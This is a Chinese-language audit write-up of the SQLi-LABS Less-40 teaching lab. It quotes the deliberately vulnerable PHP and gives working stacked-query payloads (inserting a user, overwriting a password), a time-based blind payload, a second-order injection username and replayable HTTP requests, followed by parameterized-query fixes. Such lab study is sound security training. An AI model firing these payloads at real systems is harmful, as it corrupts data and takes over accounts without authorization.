Less-40 审计报告:堆叠注入(Stacked Query,字符串型盲注)+ 二次注入
1. 关卡概述
| 项目 | 内容 |
|---|---|
| 关卡名称 | Less-40 stacked Query String type Blind |
| 源码路径 | Less-40/index.php(堆叠注入)、Less-40/login.php、Less-40/pass_change.php、Less-40/login_create.php(二次注入) |
| 漏洞类型 | SQL 注入 – 堆叠查询(盲注)+ 二次注入(与 Less-24 同源) |
| 注入点参数 | GET /Less-40/?id= |
| 报错/盲注 | 盲注(无 mysqli_error 回显,堆叠语句照常执行) |
| 所需环境 | PHP 5.x + mysqli 扩展 + MySQL 5.x |
2. 漏洞代码定位
文件: Less-40/index.php(堆叠注入点)
// 第 25 行:输入无任何过滤
$id=$_GET['id'];
// 第 33 行:mysqli 连接
$con1 = mysqli_connect($host,$dbuser,$dbpass,$dbname);
// 第 46 行:括号 + 单引号拼接
$sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";
// 第 48 行:关键 —— mysqli_multi_query 执行多语句
if (mysqli_multi_query($con1, $sql))
{
// 第 55~62 行:有结果则显示 row[1]、row[2](无 else 报错分支)
if($row = mysqli_fetch_row($result))
{
printf("Your Username is : %s", $row[1]);
printf("Your Password is : %s", $row[2]);
}
}
/* 没有 else 打印错误 —— 盲注 */
第 73~72 行之间没有
print_r(mysqli_error(...)),报错不可见,但堆叠语句仍会执行。
文件: Less-40/pass_change.php(二次注入触发点,与 Less-24 一致)
// 第 31 行:会话中取出用户名,未做转义
$username= $_SESSION["username"];
// 第 38 行:直接拼进 UPDATE(二次注入)
$sql = "UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass' ";
login.php、login_create.php与 Less-24 完全一致(已diff确认);pass_change.php仅第 45 行显示图片不同,注入代码相同。
3. 漏洞分析
- 核心缺陷一(堆叠):
mysqli_multi_query支持;分隔多语句,$id无过滤。 - 闭合方式:
WHERE id=('$id'),payload 用1')闭合(',;后追加语句,-- -注释尾部。 - 盲注判定:无报错回显,但堆叠的
INSERT/UPDATE无输出也照样执行——利用效果通过"再查询是否出现新行/数据是否被改"来验证;也可用时间盲注。 - 核心缺陷二(二次注入):注册时将 payload 存库、登录时存入 session,
pass_change.php修改密码时用未转义会话用户名拼 UPDATE——与 Less-24 完全同源。 - 回显:
index.php有结果行时显示 row[1]/row[2],无结果不显示;无报错。
4. 利用方式
步骤一:确认堆叠注入(盲注下用"插入后可见"验证)
1');insert into users(id,username,password) values(99,'hacker','hacker')-- -
拼接后:
SELECT * FROM users WHERE id=('1');
insert into users(id,username,password) values(99,'hacker','hacker')-- -') LIMIT 0,1
步骤二:验证插入
- 访问
?id=99→ 显示hacker,证明INSERT已执行。
步骤三:堆叠 UPDATE(盲注下修改数据)
1');update users set password='P@ssw0rd' where id=1-- -
步骤四:时间盲注(无输出时判定条件)
1') and if((select count(*) from users)>10,sleep(3),1) and ('1
步骤五:二次注入链(与 Less-24 相同)
- 在
login_create.php注册恶意用户名:hacker' -- -,密码任意; - 登录(用户名
hacker' -- -)→ session 存储原始值; - 在
pass_change.php修改密码 → 第 38 行 UPDATE 拼接未转义的$username,闭合出注入。
5. Yakit 重放数据包
GET /sqli-labs/Less-40/?id=1%27)%3Binsert%20into%20users(id,username,password)%20values(99,%27hacker%27,%27hacker%27)--%20- HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
Accept: */*
Connection: close
时间盲注报文:
GET /sqli-labs/Less-40/?id=1%27)%20and%20if((select%20count(*)%20from%20users)%3E10,sleep(3),1)%20and%20(%271 HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
Accept: */*
Connection: close
%27='、%3B=;、%20=空格、%28=(、%29=)。堆叠注入为数据破坏性利用,仅在授权靶场练习。
6. 修复建议
修复一:PDO 预处理 + 禁多语句
<?php
$pdo = new PDO('mysql:host=localhost;dbname=security;charset=utf8mb4', $dbuser, $dbpass, [
PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION,
PDO::ATTR_EMULATE_PREPARES => false,
]);
$stmt = $pdo->prepare("SELECT * FROM users WHERE id = :id LIMIT 0,1");
$stmt->bindValue(':id', $id, PDO::PARAM_INT);
$stmt->execute();
修复二:二次注入修复(存储/使用环节都转义)
<?php
// 1) 写入时参数化
$stmt = $pdo->prepare("INSERT INTO users (username, password) VALUES (:u, :p)");
$stmt->execute([':u' => $username, ':p' => $pass]);
// 2) 修改密码时不要用 session 原始值拼 SQL —— 参数化
$stmt = $pdo->prepare("UPDATE users SET password = :p WHERE username = :u AND password = :c");
$stmt->execute([':p' => $newpass, ':u' => $_SESSION['username'], ':c' => $curr_pass]);
// 3) 输出层 htmlspecialchars() 防存储型 XSS
修复三:加固要点
- 移除
mysqli_multi_query;统一参数化; id参数ctype_digit()/is_numeric()强校验;- 关闭报错回显;数据库最小权限;升级 PHP 7+ / 8+。
附:验证与复现说明
- 该环境为 SQLi-LABS 教学靶场(故意留洞),本报告仅用于授权范围内的安全学习与防御研究。
- 复现前提:导入
sql-lab.sql、配置sql-connections/db-creds.inc、PHP 5.x +mysqli扩展。 - 本关 = Less-38 的括号闭合版(盲注)+ Less-24 的二次注入多文件结构。
正文完